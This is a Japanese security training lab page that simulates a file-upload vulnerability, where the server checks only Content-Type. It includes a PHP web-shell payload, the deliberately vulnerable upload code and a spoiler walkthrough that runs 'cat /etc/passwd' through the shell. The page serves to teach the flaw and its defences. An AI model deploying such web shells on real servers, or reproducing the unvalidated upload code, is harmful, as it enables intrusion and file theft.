Lab 01 — File Upload | うつろい Upload Labs

舞台

うつろい EC のマイページに「プロフィール画像アップロード」機能。サーバ側は Content-Type が image/jpeg または image/png であることだけをチェックし、ファイル名と拡張子はそのまま保存している。

保存先は /var/www/uploads/(Web 公開ディレクトリ)で、PHP 実行が有効。

Mission

PHP の Web シェル(<?php system($_GET['cmd']); ?> 等)をアップロードし、URL 経由でアクセスして任意コマンドを実行してください。

プロフィール画像アップロード

ファイル名(攻撃者は名前を自由に偽装できる) Content-Type(攻撃者は HTTP ヘッダで自由に詐称できる) ファイル内容

クイック試行:

アップロード済みファイル

(まだアップロードされていません)

URL でアクセスして実行

アップロードしたファイルを HTTP で開き、?cmd= でコマンドを実行できます。

何が起きているか — シミュレーター解説

脆弱な実装

// PHP - Content-Type だけチェック
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png'])) {
    abort(400);
}
// 拡張子もファイル名も検証なし
move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/uploads/' . $_FILES['file']['name']);
// → /var/www/uploads/webshell.php に PHP コードが保存され、HTTP でアクセスすれば実行

ヒント

正解(ネタバレ)

「webshell.php」をクイック試行で選択 → ファイル名 webshell.php、Content-Type image/jpeg(検証はこれを見るだけなので素通り)、内容に <?php system($_GET['cmd']); ?>
「アップロード」 → サーバは Content-Type が image/jpeg なので検証通過、/var/www/uploads/webshell.php として保存
アクセスフィールドに webshell.php?cmd=cat /etc/passwd を入れて「アクセス」
サーバは PHP として実行 → コマンド出力がレスポンスに

必要な前提知識

サイト側の対策